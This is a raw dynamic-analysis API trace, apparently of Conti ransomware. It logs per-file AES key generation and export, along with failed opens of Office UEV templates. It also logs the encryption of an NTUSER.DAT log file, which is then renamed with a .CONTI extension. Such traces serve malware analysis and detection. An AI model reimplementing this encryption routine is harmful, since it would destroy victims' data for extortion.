	[0133.675] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20
	[0133.675] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.675] GetLastError () returned 0x5
	[0133.675] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0133.675] GetProcessHeap () returned 0x1720000
	[0133.675] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c21d8 | out: hHeap=0x1720000) returned 1
	[0133.675] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.676] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x17c7f30) returned 1
	[0133.676] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x34ffaac | out: pbData=0x6b44c14*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.676] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20
	[0133.676] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.676] GetLastError () returned 0x5
	[0133.677] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0133.677] GetProcessHeap () returned 0x1720000
	[0133.677] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ef48 | out: hHeap=0x1720000) returned 1
	[0133.677] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.677] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x17c83b0) returned 1
	[0133.677] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x34ffaac | out: pbData=0x6b4577c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.677] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20
	[0133.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.678] GetLastError () returned 0x5
	[0133.678] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.678] GetProcessHeap () returned 0x1720000
	[0133.678] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0133.678] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.678] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x17c7eb0) returned 1
	[0133.678] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x34ffaac | out: pbData=0x6b440ac*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.679] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20
	[0133.679] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.679] GetLastError () returned 0x5
	[0133.679] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0133.679] GetProcessHeap () returned 0x1720000
	[0133.679] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4e08 | out: hHeap=0x1720000) returned 1
	[0133.679] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.679] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45e50 | out: phKey=0x6b45e50*=0x17c83b0) returned 1
	[0133.679] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45e54, pdwDataLen=0x34ffaac | out: pbData=0x6b45e54*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20
	[0133.680] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.680] GetLastError () returned 0x5
	[0133.680] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.680] GetProcessHeap () returned 0x1720000
	[0133.680] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4eb8 | out: hHeap=0x1720000) returned 1
	[0133.680] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.680] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b46098 | out: phKey=0x6b46098*=0x17c83b0) returned 1
	[0133.680] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4609c, pdwDataLen=0x34ffaac | out: pbData=0x6b4609c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.681] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20
	[0133.681] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.681] GetLastError () returned 0x5
	[0133.681] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.681] GetProcessHeap () returned 0x1720000
	[0133.681] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eea0 | out: hHeap=0x1720000) returned 1
	[0133.681] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.681] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x17c83b0) returned 1
	[0133.681] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x34ffaac | out: pbData=0x6b459c4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.682] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20
	[0133.682] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.682] GetLastError () returned 0x5
	[0133.682] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.682] GetProcessHeap () returned 0x1720000
	[0133.682] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e8b8 | out: hHeap=0x1720000) returned 1
	[0133.682] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.682] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b49510 | out: phKey=0x6b49510*=0x17c83b0) returned 1
	[0133.682] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49514, pdwDataLen=0x34ffaac | out: pbData=0x6b49514*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.683] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20
	[0133.683] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.683] GetLastError () returned 0x5
	[0133.683] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.683] GetProcessHeap () returned 0x1720000
	[0133.683] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eff0 | out: hHeap=0x1720000) returned 1
	[0133.683] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.683] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b748 | out: phKey=0x6b4b748*=0x17c83b0) returned 1
	[0133.683] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b74c, pdwDataLen=0x34ffaac | out: pbData=0x6b4b74c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.684] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20
	[0133.684] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.684] GetLastError () returned 0x5
	[0133.684] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.684] GetProcessHeap () returned 0x1720000
	[0133.684] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173edf8 | out: hHeap=0x1720000) returned 1
	[0133.684] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.684] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a078 | out: phKey=0x6b4a078*=0x17c83b0) returned 1
	[0133.685] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a07c, pdwDataLen=0x34ffaac | out: pbData=0x6b4a07c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.685] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20
	[0133.685] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.685] GetLastError () returned 0x5
	[0133.685] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.686] GetProcessHeap () returned 0x1720000
	[0133.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ea08 | out: hHeap=0x1720000) returned 1
	[0133.686] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.686] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4abe0 | out: phKey=0x6b4abe0*=0x17c83b0) returned 1
	[0133.686] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4abe4, pdwDataLen=0x34ffaac | out: pbData=0x6b4abe4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.686] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20
	[0133.686] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.687] GetLastError () returned 0x5
	[0133.687] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0133.687] GetProcessHeap () returned 0x1720000
	[0133.687] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f098 | out: hHeap=0x1720000) returned 1
	[0133.687] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.687] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b49080 | out: phKey=0x6b49080*=0x17c7ef0) returned 1
	[0133.687] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49084, pdwDataLen=0x34ffaac | out: pbData=0x6b49084*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0133.687] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20
	[0133.688] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.688] GetLastError () returned 0x5
	[0133.688] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0133.688] GetProcessHeap () returned 0x1720000
	[0133.688] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2400 | out: hHeap=0x1720000) returned 1
	[0133.688] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0133.688] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48e38 | out: phKey=0x6b48e38*=0x17c83b0) returned 1
	[0133.688] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48e3c, pdwDataLen=0x34ffaac | out: pbData=0x6b48e3c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0134.581] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20
	[0134.581] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.582] GetLastError () returned 0x5
	[0134.582] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0134.582] GetProcessHeap () returned 0x1720000
	[0134.582] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c26e0 | out: hHeap=0x1720000) returned 1
	[0134.582] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.830] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7eb78) returned 1
	[0137.831] CryptExportKey (in: hKey=0x6b7eb78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x34ffaac | out: pbData=0x6b4f29c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.831] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf")) returned 0x26
	[0137.831] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.832] GetLastError () returned 0x0
	[0137.832] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=65536) returned 1
	[0137.832] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10000
	[0137.832] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.832] SetEndOfFile (hFile=0x450) returned 1
	[0137.832] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.832] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.832] WriteFile (in: hFile=0x450, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.833] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.833] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x10000, lpOverlapped=0x0) returned 1
	[0137.834] CryptEncrypt (in: hKey=0x6b7eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x10000, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x10010) returned 1
	[0137.834] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.834] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x10010, lpOverlapped=0x0) returned 1
	[0137.835] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.835] WriteFile (in: hFile=0x450, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.835] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.835] CloseHandle (hObject=0x450) returned 1
	[0137.835] GetProcessHeap () returned 0x1720000
	[0137.835] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.835] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf"
	[0137.835] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.CONTI"
	[0137.835] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf.conti")) returned 1
	[0137.836] GetProcessHeap () returned 0x1720000
	[0137.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.836] CryptDestroyKey (hKey=0x6b7eb78) returned 1
	[0137.836] GetProcessHeap () returned 0x1720000
	[0137.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17403d0 | out: hHeap=0x1720000) returned 1
	[0137.836] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
